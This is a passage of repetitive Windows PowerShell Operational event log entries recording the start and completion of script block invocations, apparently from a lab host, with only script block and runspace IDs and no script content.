09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025795
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025783
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025763
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025761
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025760
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
